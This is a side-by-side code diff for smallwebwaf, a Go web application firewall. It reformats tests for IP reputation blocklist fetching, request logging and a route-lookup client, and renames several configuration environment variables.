func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown( func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range listFailures() { for _, tc := range []struct {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
} {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -189,13 +205,8 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
want := kept[0] want := kept[0]
want.Tried = time.Now() want.Tried = time.Now()
got := lists.Snapshot() if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
if !reflect.DeepEqual(got, []reputation.List{want}) { t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
} }
if lists.Failures(dropURL) != 2 { if lists.Failures(dropURL) != 2 {
@@ -204,14 +215,10 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
// One alert for the first failure; the cooldown holds back the // One alert for the first failure; the cooldown holds back the
// second. // second.
failed := time.Now().Add(-refresh) wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
log.String(), `"url":"`+dropURL+`","error":"`+tc.error) {
`"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -219,40 +226,6 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
} }
} }
// listFailure is a way a list's fetch can fail.
type listFailure struct {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}
// listFailures returns the ways a list's fetch can fail.
func listFailures() []listFailure {
return []listFailure{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) {
servers.set(dropURL, "203.0.113.10\n<html>\n")
},
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
}
}
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) { func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
t.Parallel() t.Parallel()
@@ -264,27 +237,19 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
synctest.Wait() synctest.Wait()
if lists.Failures(dropURL) != 0 { if lists.Failures(dropURL) != 0 {
t.Errorf( t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
"%d failures before a minute, want none",
lists.Failures(dropURL),
)
} }
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
if lists.Failures(dropURL) != 1 { if lists.Failures(dropURL) != 1 {
t.Errorf( t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
"%d failures after a minute, want 1",
lists.Failures(dropURL),
)
} }
}) })
} }
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched( func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -297,16 +262,8 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as // drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
// lists.json says at start. // lists.json says at start.
err := lists.Load([]reputation.List{ err := lists.Load([]reputation.List{
{ {URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
URL: dropURL, {URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
Fetched: time.Now().Add(-time.Hour),
Lines: []string{"203.0.113.9"},
},
{
URL: torURL,
Fetched: time.Now().Add(-refresh),
Lines: []string{"198.51.100.9"},
},
}) })
if err != nil { if err != nil {
t.Fatalf("load: %v", err) t.Fatalf("load: %v", err)
@@ -333,9 +290,7 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
// drop.txt is fetched, and a refresh later the fetch downloads it // drop.txt is fetched, and a refresh later the fetch downloads it
// whole but fails on a line that does not read. // whole but fails on a line that does not read.
servers := &standIn{ servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
lists: map[string]string{dropURL: "198.51.100.1\n"},
}
lists := start(t, servers, params(dropURL)) lists := start(t, servers, params(dropURL))
servers.set(dropURL, "198.51.100.2\n<html>\n") servers.set(dropURL, "198.51.100.2\n<html>\n")
@@ -344,9 +299,7 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
// Restarted with what lists.json keeps, it waits a refresh // Restarted with what lists.json keeps, it waits a refresh
// after the failed try, as it does while it runs. // after the failed try, as it does while it runs.
restarted := &standIn{ restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
lists: map[string]string{dropURL: "198.51.100.2\n"},
}
again := reputation.New(params(dropURL)) again := reputation.New(params(dropURL))
again.SetTransport(restarted) again.SetTransport(restarted)
@@ -396,11 +349,8 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
wantFetches(t, servers, 1) wantFetches(t, servers, 1)
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 { if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
t.Errorf( t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
"%d failures and alerts %+v, want none", waiting(queue))
lists.Failures(dropURL),
waiting(queue),
)
} }
// Restarted an hour later with what lists.json keeps, it fetches // Restarted an hour later with what lists.json keeps, it fetches
@@ -432,9 +382,7 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
}) })
} }
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage( func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -449,13 +397,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} { for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
percent, listed := lists.ASNLimitPercent(asn) percent, listed := lists.ASNLimitPercent(asn)
if !listed || percent != want { if !listed || percent != want {
t.Errorf( t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
"%s has %d (listed %t), want %d",
asn,
percent,
listed,
want,
)
} }
} }
@@ -474,9 +416,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
}) })
} }
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead( func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
@@ -492,18 +432,13 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
t.Fatalf("load: %v", err) t.Fatalf("load: %v", err)
} }
if got := lists.Snapshot(); !reflect.DeepEqual( if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v, want only %+v", got, kept) t.Errorf("copies %+v, want only %+v", got, kept)
} }
err = lists.Load( err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{ "; DROP", "203.0.113.300",
"; DROP", "203.0.113.300", }}})
}}},
)
const want = "the copy of " + dropURL + const want = "the copy of " + dropURL +
": line 2 is not an address or a netblock, such as 192.0.2.0/24" ": line 2 is not an address or a netblock, such as 192.0.2.0/24"
@@ -511,10 +446,7 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
if got := lists.Snapshot(); !reflect.DeepEqual( if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v after the error, want %+v still", got, kept) t.Errorf("copies %+v after the error, want %+v still", got, kept)
} }
} }
@@ -648,12 +580,7 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
} }
// wantListedBy checks the URLs of the blocklists lists says list addr. // wantListedBy checks the URLs of the blocklists lists says list addr.
func wantListedBy( func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
t *testing.T,
lists *reputation.Lists,
addr string,
want ...string,
) {
t.Helper() t.Helper()
got := lists.ListedBy(netip.MustParseAddr(addr)) got := lists.ListedBy(netip.MustParseAddr(addr))
@@ -684,13 +611,8 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
t.Helper() t.Helper()
got := waiting(queue) got := waiting(queue)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) || if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
queue.Suppressed() != 1 { t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
t.Errorf( queue.Suppressed(), want)
"alerts waiting %+v, %d held back, want only %+v and 1",
got,
queue.Suppressed(),
want,
)
} }
} }
+9 -9
View File
@@ -44,17 +44,17 @@ const (
ActionBlockedByBlockRule = "blocked_by_block_rule" ActionBlockedByBlockRule = "blocked_by_block_rule"
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule // ActionBlockedByCoreRuleSet is a request refused because the Core Rule
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD. // Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set" ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
// ActionClientDenied is a request refused because its client is in // ActionClientDenied is a request refused because its client is in
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny, // SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY. // SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
ActionClientDenied = "client_denied" ActionClientDenied = "client_denied"
// ActionCountryDenied is a request refused because its client's country // ActionCountryDenied is a request refused because its client's country
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES. // is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
ActionCountryDenied = "country_denied" ActionCountryDenied = "country_denied"
// ActionOwnEndpoint is a request waf answered at one of its own // ActionOwnEndpoint is a request waf answered at one of its own
// endpoints, or a question about a path under /_sww/. // endpoints, or a question about a path under /_sww/.
@@ -126,7 +126,7 @@ type Line struct {
ContentType string `json:"content_type,omitempty"` ContentType string `json:"content_type,omitempty"`
// ContentLength is the length of its body the request announced. // ContentLength is the length of its body the request announced.
ContentLength int64 `json:"content_length,omitempty"` ContentLength int64 `json:"content_length,omitempty"`
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that // RequestHeaders are the headers SWW_WAF_LOG_REQUEST_HEADERS names that
// the request carried, by name in lower case. // the request carried, by name in lower case.
RequestHeaders map[string]string `json:"request_headers,omitempty"` RequestHeaders map[string]string `json:"request_headers,omitempty"`
HasAuthorization bool `json:"has_authorization,omitempty"` HasAuthorization bool `json:"has_authorization,omitempty"`
@@ -189,7 +189,7 @@ type Line struct {
Reputation []string `json:"reputation,omitempty"` Reputation []string `json:"reputation,omitempty"`
// Tags are the request's tags, sorted. // Tags are the request's tags, sorted.
Tags []string `json:"tags,omitempty"` Tags []string `json:"tags,omitempty"`
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the // RouteWatchTagsMissing, while SWW_WAF_ROUTEWATCH_URL is set, says why the
// request got no tags from routewatch: no_answer_yet, request_failed or // request got no tags from routewatch: no_answer_yet, request_failed or
// no_route. // no_route.
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"` RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
@@ -233,7 +233,7 @@ type RProxyLine struct {
DurationRequestMS float64 `json:"duration_request_ms"` DurationRequestMS float64 `json:"duration_request_ms"`
DurationResponseMS float64 `json:"duration_response_ms"` DurationResponseMS float64 `json:"duration_response_ms"`
// Disposition is the valid disposition waf answered or, while // Disposition is the valid disposition waf answered or, while
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is "" // DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
// when neither gave one. // when neither gave one.
Disposition string `json:"disposition,omitempty"` Disposition string `json:"disposition,omitempty"`
DefaultDisposition bool `json:"default_disposition,omitempty"` DefaultDisposition bool `json:"default_disposition,omitempty"`
@@ -291,8 +291,8 @@ func Milliseconds(d time.Duration) float64 {
// NewProcessLogger returns the logger for the process's own messages: // NewProcessLogger returns the logger for the process's own messages:
// JSON lines on w, marked "type":"process", with the time in the same form // JSON lines on w, marked "type":"process", with the time in the same form
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance. // as a request line's, and instanceName, SWW_WAF_INSTANCE_NAME, as instance.
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe; // It writes only the messages at level, SWW_WAF_LOG_LEVEL, or more severe;
// the request lines Write writes are never held back. // the request lines Write writes are never held back.
func NewProcessLogger( func NewProcessLogger(
w io.Writer, w io.Writer,
+9 -27
View File
@@ -18,9 +18,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
err := requestlog.Write(&out, &requestlog.Line{ err := requestlog.Write(&out, &requestlog.Line{
Time: requestlog.FormatTime( Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
),
ClientIP: "203.0.113.9", ClientIP: "203.0.113.9",
Status: 200, Status: 200,
Action: requestlog.ActionForward, Action: requestlog.ActionForward,
@@ -82,10 +80,7 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
t.Fatalf("write: %v", err) t.Fatalf("write: %v", err)
} }
err = requestlog.WriteRProxyLine( err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
&out,
&requestlog.RProxyLine{Query: "a=1&b=<2>"},
)
if err != nil { if err != nil {
t.Fatalf("write the rproxy line: %v", err) t.Fatalf("write the rproxy line: %v", err)
} }
@@ -105,10 +100,7 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
} }
} }
if !strings.Contains( if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
lines[0],
`"referer":"https://example.com/?x=1&y=<2>"`,
) {
t.Errorf("%s does not hold the referer as sent", lines[0]) t.Errorf("%s does not hold the referer as sent", lines[0])
} }
} }
@@ -140,9 +132,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo). requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
Info("starting", "version", "v1")
"version", "v1")
var fields map[string]any var fields map[string]any
@@ -151,10 +142,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Fatalf("decode %q: %v", out.String(), err) t.Fatalf("decode %q: %v", out.String(), err)
} }
if fields["type"] != "process" || if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
fields["instance"] != "fsn1app1/blog" || fields["msg"] != "starting" || fields["level"] != "INFO" ||
fields["msg"] != "starting" ||
fields["level"] != "INFO" ||
fields["version"] != "v1" { fields["version"] != "v1" {
t.Errorf("process line %v", fields) t.Errorf("process line %v", fields)
} }
@@ -165,10 +154,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
if err != nil || !strings.HasSuffix(timeText, "Z") || if err != nil || !strings.HasSuffix(timeText, "Z") ||
len(timeText) != len("2006-01-02T15:04:05.000Z") || len(timeText) != len("2006-01-02T15:04:05.000Z") ||
time.Since(logged) > time.Minute { time.Since(logged) > time.Minute {
t.Errorf( t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
"process line time %q, want now in UTC with milliseconds",
timeText,
)
} }
} }
@@ -185,11 +171,7 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
processLog := requestlog.NewProcessLogger( processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
&out,
"fsn1app1/blog",
level,
)
for _, at := range levels { for _, at := range levels {
processLog.Log(t.Context(), at, "message") processLog.Log(t.Context(), at, "message")
} }
+4 -17
View File
@@ -81,7 +81,7 @@ type Answer struct {
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// URL is where routewatch is (SWW_ROUTEWATCH_URL). // URL is where routewatch is (SWW_WAF_ROUTEWATCH_URL).
URL string URL string
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -206,11 +206,7 @@ func (c *Client) Load(answers []Answer) {
// query as no longer under way. A query that fails gives no answer, and // query as no longer under way. A query that fails gives no answer, and
// routewatch is not asked again for failureKept. Only the first failure of // routewatch is not asked again for failureKept. Only the first failure of
// those under way is logged. // those under way is logged.
func (c *Client) ask( func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
route, err := c.query(ctx, addr) route, err := c.query(ctx, addr)
now := c.params.Now() now := c.params.Now()
@@ -231,11 +227,7 @@ func (c *Client) ask(
c.mu.Unlock() c.mu.Unlock()
if firstFailure { if firstFailure {
c.params.ProcessLog.Warn( c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
"asking routewatch failed",
"error",
err.Error(),
)
} }
} }
@@ -251,12 +243,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
return Route{}, fmt.Errorf("make the URL: %w", err) return Route{}, fmt.Errorf("make the URL: %w", err)
} }
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
ctx,
http.MethodGet,
endpoint,
http.NoBody,
)
if err != nil { if err != nil {
return Route{}, fmt.Errorf("make the request: %w", err) return Route{}, fmt.Errorf("make the request: %w", err)
} }
+16 -55
View File
@@ -131,9 +131,7 @@ func TestMain(m *testing.M) {
type silentRoutewatch struct{} type silentRoutewatch struct{}
// RoundTrip waits until req is abandoned. // RoundTrip waits until req is abandoned.
func (silentRoutewatch) RoundTrip( func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) {
req *http.Request,
) (*http.Response, error) {
<-req.Context().Done() <-req.Context().Done()
return nil, req.Context().Err() return nil, req.Context().Err()
@@ -193,19 +191,12 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
f := newFixture(t, answering(routedAnswer)) f := newFixture(t, answering(routedAnswer))
if _, missing := f.route(); missing != routewatch.NoAnswerYet { if _, missing := f.route(); missing != routewatch.NoAnswerYet {
t.Errorf( t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
"before the answer: %q, want %q",
missing,
routewatch.NoAnswerYet,
)
} }
route := f.waitFor("") route := f.waitFor("")
want := routewatch.Route{ want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want { if route != want {
t.Errorf("route %+v, want %+v", route, want) t.Errorf("route %+v, want %+v", route, want)
} }
@@ -228,10 +219,7 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
route := f.waitFor("") route := f.waitFor("")
want := routewatch.Route{ want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want { if route != want {
t.Errorf("route %+v, want %+v", route, want) t.Errorf("route %+v, want %+v", route, want)
} }
@@ -260,8 +248,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
"not JSON": answering("no"), "not JSON": answering("no"),
"no results": answering(`{"status":"ok","data":{"results":[]}}`), "no results": answering(`{"status":"ok","data":{"results":[]}}`),
"bad netblock": answering( "bad netblock": answering(
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`, `{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
),
} }
for name, standIn := range tests { for name, standIn := range tests {
t.Run(name, func(t *testing.T) { t.Run(name, func(t *testing.T) {
@@ -276,9 +263,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
} }
} }
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient( func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
f := newFixture(t, answering(routedAnswer)) f := newFixture(t, answering(routedAnswer))
@@ -295,9 +280,7 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
f.wantFailureLoggedWithoutTheClient() f.wantFailureLoggedWithoutTheClient()
} }
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest( func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) { f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
@@ -318,10 +301,7 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
deadline := time.Now().Add(waitLimit) deadline := time.Now().Add(waitLimit)
for f.queries.Load() != 2 { for f.queries.Load() != 2 {
if time.Now().After(deadline) { if time.Now().After(deadline) {
t.Fatalf( t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
"%d queries after the failure expired, want 2",
f.queries.Load(),
)
} }
time.Sleep(time.Millisecond) time.Sleep(time.Millisecond)
@@ -346,14 +326,9 @@ func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
began := time.Now() began := time.Now()
_, missing := f.route() _, missing := f.route()
if waited := time.Since(began); missing != routewatch.NoAnswerYet || if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 {
waited != 0 { t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once",
t.Errorf( missing, waited, routewatch.NoAnswerYet)
"Route gave %q after %s while routewatch hangs, want %q at once",
missing,
waited,
routewatch.NoAnswerYet,
)
} }
f.waitFor(routewatch.RequestFailed) f.waitFor(routewatch.RequestFailed)
@@ -437,14 +412,8 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
f.client.Load([]routewatch.Answer{kept, stale}) f.client.Load([]routewatch.Answer{kept, stale})
if got := f.client.Snapshot(); !slices.Equal( if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) {
got, t.Errorf("kept %+v, want only the answer that came less than an hour ago", got)
[]routewatch.Answer{kept},
) {
t.Errorf(
"kept %+v, want only the answer that came less than an hour ago",
got,
)
} }
route, missing := f.route() route, missing := f.route()
@@ -455,10 +424,7 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
} }
if got := f.queries.Load(); got != 0 { if got := f.queries.Load(); got != 0 {
t.Errorf( t.Errorf("%d queries for a client with an answer loaded, want none", got)
"%d queries for a client with an answer loaded, want none",
got,
)
} }
} }
@@ -492,12 +458,7 @@ func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
} }
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] { if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
t.Errorf( t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client,
"answers kept from %s to %s, want from %s to %s", got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client)
got[0].Client,
got[maxAnswers-1].Client,
answers[0].Client,
answers[maxAnswers-1].Client,
)
} }
} }
+6 -8
View File
@@ -11,16 +11,16 @@ import (
) )
// errResponseTooLarge ends an app's response body that is longer than // errResponseTooLarge ends an app's response body that is longer than
// SWRP_MAX_RESPONSE_SIZE. // SWW_RPROXY_MAX_RESPONSE_SIZE.
var errResponseTooLarge = errors.New( var errResponseTooLarge = errors.New(
"the response body is over SWRP_MAX_RESPONSE_SIZE") "the response body is over SWW_RPROXY_MAX_RESPONSE_SIZE")
// requestBody is the visitor's request body. rproxy first reads up to the first // requestBody is the visitor's request body. rproxy first reads up to the first
// 64 KiB of it into held, and then, on its way to the app, the transport reads // 64 KiB of it into held, and then, on its way to the app, the transport reads
// it on a goroutine of its own. // it on a goroutine of its own.
type requestBody struct { type requestBody struct {
// body is the visitor's body, ending in an *http.MaxBytesError past // body is the visitor's body, ending in an *http.MaxBytesError past
// SWRP_MAX_REQUEST_SIZE. // SWW_RPROXY_MAX_REQUEST_SIZE.
body io.ReadCloser body io.ReadCloser
rq *request rq *request
// held is the part read before the request goes to the app, which Read gives // held is the part read before the request goes to the app, which Read gives
@@ -84,7 +84,7 @@ func (b *requestBody) Close() error {
// responseBody is the app's response body on its way to the visitor. // responseBody is the app's response body on its way to the visitor.
type responseBody struct { type responseBody struct {
// body is the app's body, ending in an *http.MaxBytesError past // body is the app's body, ending in an *http.MaxBytesError past
// SWRP_MAX_RESPONSE_SIZE. // SWW_RPROXY_MAX_RESPONSE_SIZE.
body io.ReadCloser body io.ReadCloser
rq *request rq *request
} }
@@ -203,8 +203,7 @@ func (w *responseWriter) Write(p []byte) (int, error) {
w.status = http.StatusOK w.status = http.StatusOK
} }
//nolint:gosec // the answer, as it was given n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
n, err := w.ResponseWriter.Write(p)
w.bytes += int64(n) w.bytes += int64(n)
return n, err return n, err
@@ -219,8 +218,7 @@ func (w *responseWriter) FlushError() error {
// Hijack takes over the connection to the visitor, which ReverseProxy does only // Hijack takes over the connection to the visitor, which ReverseProxy does only
// to pass on the app's 101 Switching Protocols: that is then the status sent. // to pass on the app's 101 Switching Protocols: that is then the status sent.
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
conn, buffered, err := http.NewResponseController(w.ResponseWriter). conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
Hijack()
if err == nil { if err == nil {
w.status = http.StatusSwitchingProtocols w.status = http.StatusSwitchingProtocols
} }
+1 -5
View File
@@ -83,11 +83,7 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
// X-Forwarded-For. Those of any other peer are its own claims and are replaced: // X-Forwarded-For. Those of any other peer are its own claims and are replaced:
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and // X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
// X-Forwarded-Proto plain http, which is how it reached rproxy. // X-Forwarded-Proto plain http, which is how it reached rproxy.
func setForwardedHeaders( func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
in, out *http.Request,
peer netip.Addr,
trusted bool,
) {
forwardedFor := peer.String() forwardedFor := peer.String()
if trusted { if trusted {
+79 -258
View File
@@ -17,6 +17,7 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy" "sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/waf" "sneak.berlin/go/smallwebwaf/internal/waf"
@@ -34,15 +35,9 @@ func announcedLength(size int) string {
func TestServerHasTheFixedLimits(t *testing.T) { func TestServerHasTheFixedLimits(t *testing.T) {
t.Parallel() t.Parallel()
